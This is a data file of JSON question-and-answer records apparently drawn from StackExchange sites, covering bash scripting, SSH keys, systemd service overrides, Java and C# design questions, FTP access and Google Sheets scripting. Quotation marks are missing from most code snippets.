{  "id": "_softwareengineering.87258"  , "question": "What exactly is the different between extensible programming and extendible programming?Wikipedia states the following:The Lisp language community remained  separate from the extensible language  community, apparently because, as one  researcher observed, any programming  language in which programs and data  are essentially interchangeable can be  regarded as an extendible [sic]  language. ... this can be seen very  easily from the fact that Lisp has  been used as an extendible language  for years.If I'm understanding this correctly, it says Lisp is extendible implies Lisp is not extensible. So what do these two terms mean, and how do they differ? "  , "title": "Difference between extensible programming and extendible programming?"  , "tags": "programming languages;extensibility"  , "accepted_answer": "Wikipedia uses the term extensible throughout the article. The quote from the M. C. Harrison (included in your extract) uses the term extendible. [sic] is placed after the first use of extendible in the quote to indicate that the word choice is that of the original speaker and not an error in transcription.This implies to me that the Wikipedia editors did not intend to make any distinction between the two words, but of course they didn't want to change Harrison's quote either. You may also note that the 1960 symposium from which the quote was taken was titled Panel on the Concept of Extensibility, so I think it likely that extensibility is the more common choice for this term.For an interpretation of the intended overall meaning, I would agree with Javier's answer."  } 
{  "id": "_unix.386097"  , "question": "installed LXLE on my netbook the other day. Most everything is working fine, however I was getting really annoyed with my touchpad's tap to click feature whilst coding. I had that common bug where disabling 'Tap-to-Click' in 'Keyboards and Pointers' only worked for a single session. Usually that is fixed by changing synclients's MaxTapTime to 0 using a script to do it at boot or something like that.HOWEVER, today as I resolved to fix this bug permanently, I found that my touchpad click was working regardless of what I set 'Tap-to-Click' or MaxTapTime to. Whether I enable and disable it multiple times, restart my computer, or change it via command line, nothing seems to be taking effect whatsoever.Please help me to disable this! It makes coding pretty much impossible without disabling the entire touchpad and using a mouse, which isn't particularly viable for me at the moment."  , "title": "Synclient Touchpad settings not working at all"  , "tags": "mouse;touchpad;lxde"  } 
{  "id": "_unix.170407"  , "question": "I have a array like this Apple Banana Clementine DateI have to print like this:1. Apple2. Banana3. Clementine4. DateScript file:for i in ${fruits[@]}; do    echo $lineno. $i     lineno+=1doneoutput of myscript:1.             Apple               Banana               Clem....I don't understand why it is not printing lineno and also why it is printing long gap b/w 1. and Apple. Thanks."  , "title": "for loop not working for multiple lines"  , "tags": "bash;shell script;array;for"  , "accepted_answer": "The problem is your array. It seems that you have created an array with only one element. Try this example:array=($(printf 'Apple\\nBanana\\nClementine\\nDate'))for ((i = 0; i < ${#array[@]}; i++)); do  printf '%d. %s\\n' $((i+1)) ${array[$i]}donej=0for e in ${array[@]}; do  j=$((j+1))  printf '%d. %s\\n' $j $edonek=0for e in ${array[@]}; do  k=$((k+1))  printf '%d. %s\\n' $k $edoneThen run:$ ./test.sh 1. AppleBananaClementineDate1. AppleBananaClementineDate1. Apple2. Banana3. Clementine4. DateYou can see, you actually create an array contains one element. The 3rd loop print four elements because the shell had performed field splitting on string Apple\\nBanana\\nClementine\\nDate, which gave you four separated words back.If you change the array to:set -farray=( $(printf 'Apple\\nBanana\\nClementine\\nDate') )set +f(set -f disables wildcard expansion, in case the characters *?\\[ appear in the output of the command) you will get the desired result, which is that the output of the command is split at whitespace:$ ./test.sh 1. Apple2. Banana3. Clementine4. Date1. Apple2. Banana3. Clementine4. Date1. Apple2. Banana3. Clementine4. DateA note that you must use double quotes ${array[@]} when you want to iterate through all array elements, or use the c-style for loop like my first example."  } 
{  "id": "_unix.135016"  , "question": "I have two files with sizes 124665 and 124858 in bytes and want to check whether file1 is a prefix of file2 or not."  , "title": "How to check whether file1 is a prefix of file2?"  , "tags": "files;file comparison"  , "accepted_answer": "Supposing you have the size of file1 in the variable FILE1_SZ and your head implementation supports the (non-standard) -c option:if head -c $FILE1_SZ file2 | cmp -s - file1; then    echo file1 is a prefix of file2else    echo file1 is not a prefix of file2fi"  } 
{  "id": "_cs.7096"  , "question": "I am looking for O(V+E) algorithm for finding the transitive reduction given a DAG. That is remove as many edges as possible so that if you could reach v from u, for arbitrary v and u, you can still reach after removal of edges.If this is a standard problem, please point me to some model solution."  , "title": "Transitive reduction of DAG"  , "tags": "algorithms;graphs;dag"  } 
{  "id": "_unix.291690"  , "question": "every time that I attach my earphones on the jack plug the alsa volume settings get reset to some default values. My volume settings are not even remembered the next time I attach my earphones.Any idea on how to fix this?My Laptop is a Samsung ultrabook (series 9) with Ubuntu 16.04, kernel version 4.4.0-22-generic #40-Ubuntu SMP"  , "title": "alsa volume settings are constantly rested to a default value everytime I plug my earphones on and off. How to fix it?"  , "tags": "audio;alsa"  } 
{  "id": "_unix.376030"  , "question": "I checked the file /proc/sys/dev/cdrom/info$ cat /proc/sys/dev/cdrom/infoCD-ROM information, Id: cdrom.c 3.20 2003/12/17drive name:             sr0drive speed:            1drive # of slots:       1Can close tray:         1Can open tray:          1Can lock tray:          1Can change speed:       1Can select disk:        0Can read multisession:  1Can read MCN:           1Reports media changed:  1Can play audio:         1Can write CD-R:         1Can write CD-RW:        1Can read DVD:           1Can write DVD-R:        1Can write DVD-RAM:      1Can read MRW:           1Can write MRW:          1Can write RAM:          1I was not able to find which column should I take into consideration to confirm the CD-ROM is loaded.And also google searches told me check the value of file /proc/sys/dev/cdrom/lock and this value was 1 in my case. How this should be interpreted as?Or is there any other way to get this information."  , "title": "Need to check whether the CD-ROM is loaded or not"  , "tags": "linux;shell script;hardware"  } 
{  "id": "_webapps.51895"  , "question": "Is there a way on Twitter to post on someone's wall? Like on Facebook, I could either post directly on his wall or mention a person in my message with the @ sign for the message to show up on his wall or tag the person in a picture.For Twitter, would mentioning a person with an @ sign post the message on the person's wall too? Otherwise, is there a way to post on a person's Twitter wall?"  , "title": "Posting a message on another person's Twitter wall"  , "tags": "twitter"  , "accepted_answer": "No there isn't. You can @ mention them. The only way for this to appear on their 'wall' (timeline) is if they was to hit 'retweet' on that mention."  } 
{  "id": "_bioinformatics.434"  , "question": "Our research institute processes a lot of flow cytometry data, but the produced data is under-utilised due to the effort required to process it. A typical run will produce 5 million events (ideally one event per cell), with up to 14 dimensions of [ideally] log-normal fluorescence values for particular groups of cells (populations). Due to various systematic errors, negative values, scatter, and a non-zero zero value can happen, but I'm going to ignore those for the purpose of this question and assume that the data are well-distributed.Researchers will typically probe these data using manual filters (set up specifically for each experiment) to find populations of interest. I suppose a picture might help. This one shows three identifiable cell populations, in order of size one at about (X/Ly6C:2,Y/CD86:2), one at about (4.5,3), and one small population at (2,4).Here's another plot that has two cell populations that are close to each other, such that the population humps overlap substantially. Manual filters are typically used because it can be very difficult to distinguish between a noisy data point from a large cell population and a less noisy data point from a small cell population, particularly when considering populations that make up about 0.01% of the total cells.As an additional complication, counting these populations can be difficult when populations overlap (as in the second image). A filter/slice through the plot that separates populations could count many cells as being members of the wrong population.Can these populations be detected in an automated way? If it is assumed that the populations are spread in a gaussian fashion at some point in each dimension, is there some method that can be used to approximate the number of cells in each population, even when populations are close by?"  , "title": "Finding peaks and estimating cell population sizes in multi-dimensional flow cytometry data"  , "tags": "flow cytometry;gaussian;fluorescence"  } 
{  "id": "_webapps.97882"  , "question": "I need to create a list of email addresses of those I've been emailing and who have been emailing me via my office 365 email account.If it were a hundred or so people then I'd just do it by hand (make a contact for each one, then export the contact list), but I have thousands of people I've been in contact with that I need to record. I do have access to the admin panel on office 365 if needed.What is the easiest method for me to extract a list of email addresses from my email itself, including email recipients for emails I've sent, and email senders for emails I've received?"  , "title": "How can I extract email addresses from emails on Office 365?"  , "tags": "outlook.com;export;contacts;office 365"  } 
{  "id": "_unix.33218"  , "question": "Is it possible to have multiple SSH key in a single client, and let ssh choose the right one automatically?"  , "title": "Multiple SSH private keys, possible?"  , "tags": "ssh;key authentication"  , "accepted_answer": "You can have different private keys in different files and specify all of them in ~/.ssh/config using separate IdentityFile values (or using -i option while running ssh). They would be tried in sequence (checkout man 5 ssh_config).If you are using ssh-agent though, you might have to tell the agent about the multiple keys you have using ssh-add."  } 
{  "id": "_unix.371734"  , "question": "BackgroundI want to change some options of Pure-FTPD. Since it has no config file, I need to add command line arguments. My system is Debian Stretch, which uses systemd.What I triedThere is no pure-ftpd.service file in /etc/systemd/* nor in /usr/lib/systemd/*. I ran updatedb and then locate pure-ftpd which gave no results. Running systemctl status pure-ftpd (or other commands such as restart) works fine.Finally I found a way to make edits: systemctl edit pure-ftpd. As suggested by another answer on this site, I typed [Service] \\n ExecStart=/usr/sbin/pure-ftpd -my options and hit :wq. Systemd reloads the service and all is well.Running systemctl status pure-ftpd, it tells me:pure-ftpd.service: Service has more than one ExecStart= setting, which is only allowed for Type=oneshot services. Refusing.I don't know what a oneshot service is. The documentation doesn't say when to use which, only it is expected that the process has to exit before systemd starts follow-up units. I don't want systemd to wait for pure-ftpd to exit before starting other units (other services?) so that's not an option.Grepping for pure (grep -r pure) in both /etc/systemd and /usr/lib/systemd gives only the result that I made myself: /etc/systemd/system/pure-ftpd.service.d/override.conf. There does not appear to be a service file, yet it complains about a doubly defined ExecStart option.Calling /etc/init.d/pure-ftpd directly does not work either. Tracing that shell script, I see systemd hooked into this and hijacks it.I also ran strace systemd restart pure-ftpd. Scrolling through, this catches my eye:socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3connect(3, {sa_family=AF_UNIX, sun_path=/run/systemd/private}, 22) = 0sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=\\0AUTH EXTERNAL , iov_len=15}, {iov_base=30, iov_len=2}, {iov_base=\\r\\nNEGOTIATE_UNIX_FD\\r\\nBEGIN\\r\\n, iov_len=28}], msg_iovlen=3, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45sendmsg(3, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base=l\\1\\4\\1$\\0\\0\\0\\1\\0\\0\\0\\240\\0\\0\\0\\1\\1o\\0\\31\\0\\0\\0/org/fre..., iov_len=176}, {iov_base=\\21\\0\\0\\0pure-ftpd.service\\0\\0\\0\\7\\0\\0\\0repl..., iov_len=36}], msg_iovlen=2, msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 212                 ---------------------->---------------------->---------------------->---------------------->---------------------->--------------------------^^^So it sends something about \\21\\0\\0\\0pure-ftpd.service\\0\\0\\0\\7\\0\\0\\0repl... over a unix socket. And evidently, systemd gets what it's talking about. It appears to me as if there is a template service file which is used by default if the real one is absent.Attaching strace to the owner of /run/systemd/private (unsurprisingly: PID 1 / init), I see the authentication and the freedesktop message coming in, after which it immediately replies with an error message about the service not being properly loaded. It never checks for the existence of any files nor does it read from any.WorkaroundsI can systemctl disable pure-ftpd and edit the init.d file so it doesn't hook into systemd. But that's just an ugly hack. There should be a better way.After typing all this, I found another answer describing that you can -- after all! -- do it via a config file and start pure-ftpd-wrapper (which is the default in the init.d script, but who knows whether systemd uses that). However, now I want to know the answer to the actual question:QuestionHow do I provide additional command line options?"  , "title": "Missing service file for pure-ftpd"  , "tags": "systemd;startup;arguments;pure ftpd"  } 
{  "id": "_softwareengineering.209521"  , "question": "I understand that compiling into Javascript is sometimes necessary and even in some cases results in a faster application.However I'm wondering if compiling into Javascript, for building web applications, from a language like ruby, is considered bad practice. Specifically for the purpose of language preference and for the task of doing typical front-end functions."  , "title": "Is it considered bad practice to compile into Javascript as a matter of language preference?"  , "tags": "javascript;ruby;compiling"  } 
{  "id": "_codereview.16497"  , "question": "This is a CodeEval challenge taken from here:Challenge description:Imagine we have an immutable array of size N which we know to be  filled with integers ranging from 0 to N-2, inclusive. Suppose we know  that the array contains exactly one duplicated entry and that  duplicate appears exactly twice. Find the duplicated entry. (For bonus  points, ensure your solution has constant space and time proportional  to N)Input sample:Your program should accept as its first argument a path to a filename.  Each line in this file is one test case. Ignore all empty lines. Each  line begins with a positive integer(N) i.e. the size of the array,  then a semicolon followed by a comma separated list of positive  numbers ranging from 0 to N-2, inclusive):125;0,1,2,3,020;0,1,10,3,2,4,5,7,6,8,11,9,15,12,13,4,16,18,17,14Output sample:Print out the duplicated entry, each one on a new line:1204I've written this code:import java.io.FileInputStream;import java.io.FileNotFoundException;import java.util.Scanner;import java.util.StringTokenizer;/** * * @author Mohammad Faisal */    public class ArrayAbsurdity {    public static void main(String[] args) throws FileNotFoundException {        Scanner input = new Scanner(new FileInputStream(E:\\\\java\\\\temp\\\\abc.txt));        while(input.hasNextLine()){            String str = input.nextLine();            if(str.equals()){                continue;            }            String[] in = str.split(;);            int i=0;            int[] a = new int[Integer.parseInt(in[0])];            StringTokenizer token = new StringTokenizer(in[1], ,);            while(token.hasMoreTokens()){                a[i]=Integer.parseInt(token.nextToken());                i++;            }            boolean success=false;            for(i=0; i<a.length-1; i++){                for(int j=i+1; j<a.length; j++){                    if(a[i] == a[j]){                        System.out.println(a[i]);                        success=true;                        break;                    }                }                if(success){                    break;                }            }        }    }}Can anybody review it and help me in improving the space and time complexity as per the problem?"  , "title": "Array absurdity challenge"  , "tags": "java;programming challenge"  , "accepted_answer": "I don't have a comment on how you parse the input. I just give a solution which runs in O(1) space and O(N) time.Problem says that all integers are in range 0..N-2 and there's only one integer duplicated. Consider you hadn't that duplicated element, so sum of all input numbers would be (n-2)*(n-1)/2 (sum of integers from 0 to n-2). So now you can read all N integers and calculate their sum. Then if you subtract (n-2)*(n-1)/2 from this sum, the value of your duplicated element would come out.The code would be:int sum = 0;int n = a.length;for(i=0; i<n; i++)  sum += a[i];System.out.println(sum - (n-2)*(n-1)/2);This method is clearly of O(n) time, but if you want to achieve O(1) space, you should avoid storing all elements in an array. Instead of that, when you parsed nextToken, you add it to sum."  } 
{  "id": "_webmaster.11681"  , "question": "I'm actually trying GateIn for my firm and I don't manage to integrate OpenAM and GateIn.I follow all the steps in the GateInReference Guide but I've a problem.The scenario of the problem is : Go to localhost:8080/portalClick  AdministratorI'm redirected to : openam.vauban.com:2080/openam_s952/UI/Login?realm=gatein&goto=http://localhost:8080/portal/private/classicI filled in the form with root / gtnI'm redirected to localhost:8080/portal/private/classic and the page is blank and the main fact is : The system seems to redirect me to this page infinitely..Does Someone know an issue for this infinite loop?For information I have configured my OpenAM  :Yo encode the cookies, use c66encode."  , "title": "GateIn + OpenAM 9.5.2"  , "tags": "localhost"  } 
{  "id": "_unix.82597"  , "question": "Where does Firefox store cookies in Linux?I searched everywhere but did not find anything."  , "title": "Where does Firefox store its cookies on Linux?"  , "tags": "firefox"  } 
{  "id": "_webmaster.99034"  , "question": "How can I use a snippet of JavaScript in my site to exclude users from my remarketing campaigns/ads in the future?The idea is to avoid showing remarketing ads to users that performed certain actions in the website. I know this can be done when the user visits specific URLS, but I would need to do it with user actions that don't have a specific URL, but can be detected with JavaScript.Can it be done making the user run a different Adwords remarketing tag? How?"  , "title": "Exclude users from remarketing ads"  , "tags": "google adwords"  } 
{  "id": "_scicomp.1678"  , "question": "I'm working on a header-only matrix library to provide some reasonable degree of linear algebra capability in as simple a package as possible, and I'm trying to survey what the current state of the art is re: computing the SVD of a complex matrix.  I'm doing a two-phase decomposition, bidiagonalization followed by singular value computation.  Right now I'm using the householder method for the bidiagonalization (I believe LAPACK uses this as well), and I think that's about as good as it gets currently (unless someone knows of an $\\mathcal{O}(N^2)$ algorithm for it..).  The singular value computation is next on my list, and I'm somewhat out of the loop on what the common algorithms are for doing this.  I read here that research was heading towards a inverse-iteration method that guarantees orthogonality with $\\mathcal{O}(N)$ complexity.  I'd be interested in hearing about that or other advances."  , "title": "What's the current state of the art regarding algorithms for the singular value decomposition?"  , "tags": "linear algebra;matrices;svd"  } 
{  "id": "_unix.160495"  , "question": "If I am correct, pwd is a command, PWD is a variable('s name), and - in cd - is an operand.What are the types of ~, ~-, ~+, * when they mean $HOME, the previous visited dir, the current dir, and the files under current dir? (from programming languages' perspective)Are they variables' names? If yes, why does echo $~ not work? Why does * work in:for i in *; do ls $i; done"  , "title": "What are the types of ~, ~-, ~+, *?"  , "tags": "bash"  , "accepted_answer": "* is a metacharacter (or wildcard), all the other ones are tilde-prefix examples (~ is standard, ~+ and ~- are extensions).None are variables so there is no point prefixing them with a $.echo $~ works fine, it displays $~. There is no expansion because ~ is not used as a prefix.for i in *; ... works as designed."  } 
{  "id": "_datascience.749"  , "question": "I am learning about matrix factorization for recommender systems and I am seeing the term latent features occurring too frequently but I am unable to understand what it means. I know what a feature is but I don't understand the idea of latent features. Could please explain it? Or at least point me to a paper/place where I can read about it?"  , "title": "Meaning of latent features?"  , "tags": "machine learning;data mining;recommender system"  } 
{  "id": "_unix.271725"  , "question": "I have a problem with a Linux system that won't boot. The bootloader happily loads the kernel and initrd, but then the initrd script whines and complains and moans that it can't find the root device.How to I force the initrd script to give me a shell prompt so I can actually investigate what's going on?I tried unpacking initrd and making the /init shell script launch bash -i. But that didn't work at all; I see the Bash prompt appear, but the keyboard doesn't work. (Bash complains something about cannot set progress group and inappropriate ioctl for device.)In case it matters: OpenSUSE 13.1, which uses the old mkinitrd system. (Apparently newer versions use Dracut.) From what I can tell, /init is a small script that executes everything in /boot (a series of numbered Bash scripts).There's a script named /boot/91-shell.sh, which contains a comment which suggests that passing shell=1 on the kernel command line will give me a shell prompt; it does not.There's also a comment in /boot-02-start.sh which claims that passing linuxrc=trace will give me debug output. It does, but it's useless; all I see is the endless device polling loop at the end of the script scrolling past, obliterating all previous output.I really, really need to get in there and see what's actually happening with my own eyes to know where the problem is. (To be fair, I am trying to make the system boot in a slightly strange way, so problems are not unexpected here.)"  , "title": "Shell prompt from initrd"  , "tags": "opensuse;initrd"  , "accepted_answer": "This is an Apple-specific issue. If I boot just about any Linux system on the MacBook Air I have to play with, the keyboard refuses to function. On any PC-based system, this works perfectly. So nothing to do with Linux not starting the right init binary; it's some kind of hardware driver issue."  } 
{  "id": "_unix.87495"  , "question": "I am trying to change the group of a file that I (user123) am an owner of but I am getting an error.  It won't let me change the directory permissions, either.  It keeps saying the file system is read-only.  I don't understand why it won't let me change permissions of a directory of which I am the owner!(user123) @ subdomain.example.org [/dev/sudo/app/prog/id]$ ls -latotal 3drwxr-sr-x 2 user app 1024 Jun 18 11:12 etc(user123) @ subdomain.example.org [/dev/sudo/app/prog/id]$ chgrp mygroup etc/chgrp: changing group of `etc/': Read-only file system"  , "title": "UNIX: how to change group of read-only file system"  , "tags": "permissions;group"  } 
{  "id": "_webmaster.51093"  , "question": "I'm giving a trusted 3rd party (I say trusted because I've worked with them before, but in reality I don't know them...) access to a development version of my site x.mysite.com.The site is static HTML/CSS/JavaScript, so there is no database or server-side scripting to play with/disrupt.Are there any dangers in giving them FTP access to the subdomain, apart from them deleting everything there (I have a backup)?Could they disrupt the hosting, or other subdomains/root domain?Just to be clear: this is not root FTP access to the domain/server, and server-side scripting (PHP, Java, Python, etc...) are all disabled via Plesk, which they do not have access to. "  , "title": "Is giving a trusted' 3rd party FTP access to a subdomain dangerous for the whole domain?"  , "tags": "security;ftp;plesk"  , "accepted_answer": "Plesk is pretty good about setting up the proper security settings between domain accounts and subdomains, including FTP access.Many sites do grant FTP access to 3rd parties that they work with because there's not as much risk with FTP, providing that root access isn't permitted, which can be set in Plesk (as it seems you already have done).I would suggest making sure the FTP account username is specific to them so you can track login's in the server logs. Also be sure to use a password which is not close to any others that you might use elsewhere. Other than that, I would monitor the FTP directory contents to make sure they, or someone else who potentially has their username/password, isn't serving anything unwanted from your FTP site. You can easily monitor the bandwidth to the domain account via Plesk to make sure this isn't being abused, and assign maximum bandwidth allowances and maximum FTP account sizes too.Plesk also automatically manages things like abusive IP's that attempt to login repetitively (including FTP logins), so you won't have to be concerned about brute force attacks should their login information get exposed or your business relationship end;  you'll only need to change the username and password to something else secure (or just deleted the FTP account).In short, providing that you set FTP and bandwidth limits in Plesk, and monitor the FTP directory contents, you should be safe granting FTP access to a 3rd party you do business with. "  } 
{  "id": "_codereview.86674"  , "question": "For a small administrative program, I have to be able to register people and their data. But, files are sometimes created through a phone call on the fly and then later certain data is added to the file to complete it.For this reason I started making my Person class with different constructors and I was chaining them, until I came to the conclusion that I probably had a bad design because each constructor was only adding one more parameter.After some research, I implemented the Builder pattern (even found a nice example that used a Person class as example). But I am not sure if this is the correct approach for my situation. As I read (or understood), an object created through a Builder pattern is immutable. And as I said, data might sometimes be added later after a Person has been created already (phone number or e-mail or address, etc..).This means I am changing my object, correct? Which is wrong to do.Also, People have an address, but people can always move to a new location.For this reason, I have an editAddress() method in my Address class.This also means I am changing my object after it's been created, no?And I plan to make this Person class my base class for 2 other types of Person; a child and a parent. Will my builder pattern still be useful, then?My 3 questions are:Is it ok to add data after the object has been created? (if not, how should I approach this?)Is it ok to have methods in underlying classes that change the data? (if not, how should I approach this?)Will this still prove useful once I start with my sub classes; child and parent?My first code with the chained constructorspublic class Person {    private String name;    private String familyName;    private String dateOfBirth;    private Address address;    private String phoneNumber;    private String eMail;    public Person(String name, String familyName) {        this.name = name;        this.familyName = familyName;    }    public Person(String name, String familyName, String dateOfBirth) {        this(name, familyName);        this.dateOfBirth = dateOfBirth;    }    public Person(String name, String familyName, String dateOfBirth, Address address) {        this(name, familyName, dateOfBirth);        this.address = address;    }    public Person(String name, String familyName, String dateOfBirth, Address address, String phoneNumber) {        this(name, familyName, dateOfBirth, address);        this.phoneNumber = phoneNumber;    }    public Person(String name, String familyName, String dateOfBirth, Address address, String phoneNumber, String eMail) {        this(name,familyName,dateOfBirth,address,phoneNumber);        this.eMail = eMail;    }}My code with the builder patternpublic class Person {    private final String name;    private final String familyName;    private Date dateOfBirth;    private Address address;    private String phoneNumber;    private String eMail;    public Person(PersonBuilder builder) {        this.name = builder.name;        this.familyName = builder.familyName;        this.dateOfBirth = builder.dateOfBirth;        this.address = builder.address;        this.phoneNumber = builder.phoneNumber;        this.eMail = builder.eMail;    }    @Override    public String toString() {        return String.format(%s %s\\n%tD\\n%s\\nTel:%s\\nEmail:%s,this.name,this.familyName,this.dateOfBirth,this.address,this.phoneNumber,this.eMail);    }    public static class PersonBuilder {        private final String name;        private final String familyName;        private Date dateOfBirth = new Date();        private Address address = new Address(Unknown,00,0000,Unknown);        private String phoneNumber = 0000/00 00 00;        private String eMail = NoEmail@Unknown.be;        public PersonBuilder(String name, String familyName) {            this.name = name;            this.familyName = familyName;        }        public PersonBuilder dateofBirth(Date dateOfBirth) {            this.dateOfBirth = dateOfBirth;            return this;        }        public PersonBuilder address(Address address) {            this.address = address;            return this;        }        public PersonBuilder phoneNumber(String phoneNumber) {            this.phoneNumber = phoneNumber;            return this;        }        public PersonBuilder eMail(String eMail) {            this.eMail = eMail;            return this;        }        public Person build() {            return new Person(this);        }    }}My editAddress methodpublic void editAddress(Address address){        this.street = address.street;        this.houseNr = address.houseNr;        this.areaCode = address.areaCode;        this.city = address.city;    }"  , "title": "System for registering people"  , "tags": "java;design patterns;inheritance"  , "accepted_answer": "For this reason i started making my Person class with different constructorsAs long as everybody can remember what the constructors do, it may be fine. Something like C++-like arguments with default values.public Person(String name, // no valid Java    String familyName=null,    String dateOfBirth=null,    Address address=null,    String phoneNumber=null,    String eMail=null)This exactly corresponds with your bunch of constructors and IMHO it goes too far. Close your eyes and tell me if the email comes after or before the phone number. What about adding a second phone number?bad design because each constructor was only adding one more parameter.This is just because of Java lacking the optional arguments, that's fine. The problem is too many arguments and most of them being strings. too error-prone.But i am not sure if this is the correct approach for my situation.It's not as you don't need it. Immutables are fantastic, but even if you dropped your setters, there are still too many stupid tools around which can't work with an immutable Person.So this means i am changing my object, correct?Correct. You could avoid it by creating a new instance containing modified data. That's common and fine, but you most probably don't need it. Entities are always mutable, I'd stick with it.And.. i plan to make this Person class my base class for 2 other types of Person; a child and a parent.Consider avoiding inheritance (maybe delegation?). And what about a child becoming a parent?Will my builder pattern still be useful then?No.... with delegation it'd better.Finally to the codeMy first code with the chained constructorsLet's call it constructor triangle. It may look nice, but it won't make your live any easier. I'd stick with the first constructor.My code with the builder patternprivate Date dateOfBirth;Date is the worst class ever. Consider using new Java 8 classes or Joda-Time.public Person(PersonBuilder builder) {    ...    this.dateOfBirth = builder.dateOfBirth;    this.address = builder.address;    ...}Whenever you store a mutable object in your class, it means that it can be changed later without accessing the person. You should clone them.private Address address = new Address(Unknown,00,0000,Unknown);Unknown, 00 and similar is what you want to present to the user. As a programmer you need something what can be tested easily, i.e. the empty string.SummaryYour code is mostly fine, but as you see, builder for a mutable object makes little sense. What you need is fluent setter, so you can writePerson john = new Person(John, Doe)    .phoneNumber(123456)    .email(john@doe)    ...    .address(address)    .whatever(whatever);That's much less error-prone that the length constructor triangle and pretty easy to use.You can flatten the address into street, houseNr, areaCode, and city, or use an object, but then either Address should be immutable or the setter should clone it. Or flatten it completely and create no Address class at all (not nice, but easy).I'd suggest to use project Lombok and then all you need is@Accessors(chain=true, fluent=true) @Getter @Setterpublic class Person {    // This is not error-prone and saves you a few chars    public Person(String name, String familyName) {        this.name = name;        this.familyName = familyName;    }    private String name;    private String familyName;    private SomeImmutableDate dateOfBirth;    private String street, houseNr, areaCode, city;    private String phoneNumber;    private String eMail;}Immutable versionAnd when you need an immutable object, I'd suggest@Accessors(chain=true, fluent=true) @Getter @Builderpublic class Person {    private final String name;    ...}"  } 
{  "id": "_cogsci.13009"  , "question": "I'm writing a technical book. Is there any studies/books on how can I influence the readers subconscious to help them memorize the technical data easier? Preferably ways that do not involve images, styles, etc.. as such techniques are not suitable for technical books."  , "title": "Way to influence readers subconscious to memorize technical data?"  , "tags": "memory;consciousness"  } 
{  "id": "_webmaster.87343"  , "question": "how to prevent load my website images on special sites because many websites hotlink my website imagesHow to Detect and Stop Image Hotlinking on my Websitethanks"  , "title": "how to prevent load image on special sites"  , "tags": "htaccess;images"  } 
{  "id": "_codereview.2720"  , "question": "I commonly run into the need to implement IDisposable in my code. To correctly dispose of both managed and unmanaged resources requires a reasonable amount of boilerplate code. Based on the documentation found here I have created the following base class.My intent is that any object I create that needs to dispose of resources doesn't need to rewrite the boilerplate code. Rather it can inherit from this object and implement two abstract methods.Does this appear correct? And has anyone else written something similar? I would appreciate comments on the style, correctness and how well this conforms to best practices.public abstract class DisposableObject : IDisposable{    private bool _disposed = false;    public bool Disposed    {        get { return _disposed; }    }    public void Dispose()    {        Dispose(true);        GC.SuppressFinalize(this);    }    ~DisposableObject()    {        Dispose(false);    }    private void Dispose(bool disposing)    {        if (!_disposed)        {            if (disposing)            {                DisposeManagedResources();            }            DisposeUnmanagedResources();            _disposed = true;        }    }    protected abstract void DisposeManagedResources();    protected abstract void DisposeUnmanagedResources();}EDIT: Final Implementationpublic abstract class DisposableObject : IDisposable{    public bool Disposed { get; private set;}          public void Dispose()    {        Dispose(true);        GC.SuppressFinalize(this);    }    ~DisposableObject()    {        Debug.Assert(Disposed, WARNING: Object finalized without being disposed!);        Dispose(false);    }    private void Dispose(bool disposing)    {        if (!Disposed)        {            if (disposing)            {                DisposeManagedResources();            }            DisposeUnmanagedResources();            Disposed = true;        }    }    protected virtual void DisposeManagedResources() { }    protected virtual void DisposeUnmanagedResources() { }}"  , "title": "DisposableObject base class for C#"  , "tags": "c#;.net"  , "accepted_answer": "I would think on making two changes:Make one or both Dispose*Resources methods virtual instead of abstract. Though it highly depends on how often do you need to handle unmanaged resources. I can't remember last time I was handling them and I would hate overriding this method in each class just to make it empty. I would add some logging either to your finalizer method or to Dispose(bool disposing) method in order to catch situations when disposable object wasn't disposed correctly by calling Dispose() method. Most developers are looking for such information and you have a good place to inject it."  } 
{  "id": "_webapps.85842"  , "question": "I found a script (on this post: I need to hide/show a group of columns in Google Sheets in a simple way ) that adds a dropdown menu with two options: Show Range X of Columns & Hide Range X of Columns. The script works perfectly, except that I am unable to add more menu options for different column ranges.I have tried modifying the code (see below). Currently, the Show/Hide Columns dropdown menu shows two options: Show UTH & Hide UTH, but the Show Viz & Hide Viz options are being ignored. Any suggestions on how to modify the code so I can to add multiple show & hide buttons to the menu that affect different column ranges? I'm very new to Google Scripts, so I'm hoping there's something very simple that I'm overlooking.function onOpen(Viz) {    var menu = [{name: Show Viz, functionName: showColumns}, {name: Hide Viz, functionName: hideColumns}]    SpreadsheetApp.getActiveSpreadsheet().addMenu(Show/Hide Columns, menu);}function showColumns(Viz) {    var ss = SpreadsheetApp.getActiveSpreadsheet();    var sheet = ss.getActiveSheet();    sheet.showColumns(4);      sheet.showColumns(12);      sheet.showColumns(20); }function hideColumns(Viz) {    var ss = SpreadsheetApp.getActiveSpreadsheet();    var sheet = ss.getActiveSheet();    sheet.hideColumns(4);      sheet.hideColumns(12);      sheet.hideColumns(20); }function onOpen(UTH) {    var menu = [{name: Show UTH, functionName: showColumns}, {name: Hide UTH, functionName: hideColumns}]    SpreadsheetApp.getActiveSpreadsheet().addMenu(Show/Hide Columns, menu);}function showColumns(UTH) {    var ss = SpreadsheetApp.getActiveSpreadsheet();    var sheet = ss.getActiveSheet();    sheet.showColumns(5);      sheet.showColumns(13);      sheet.showColumns(21); }function hideColumns(UTH) {    var ss = SpreadsheetApp.getActiveSpreadsheet();    var sheet = ss.getActiveSheet();    sheet.hideColumns(5);      sheet.hideColumns(13);      sheet.hideColumns(21); }"  , "title": "Hide/Show Multiple Groups of Columns in Google Sheets"  , "tags": "google spreadsheets;google apps script"  } 
